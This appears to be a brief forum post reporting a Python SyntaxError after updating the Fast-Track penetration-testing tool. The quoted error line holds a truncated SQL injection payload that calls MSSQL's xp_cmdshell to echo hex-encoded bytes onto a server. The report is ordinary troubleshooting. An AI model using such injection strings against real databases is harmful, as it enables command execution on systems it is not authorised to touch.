I updated my fast-track now this

File "./fast-track.py", line 585
string9=(r"';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26
^
SyntaxError: EOL while scanning single-quoted string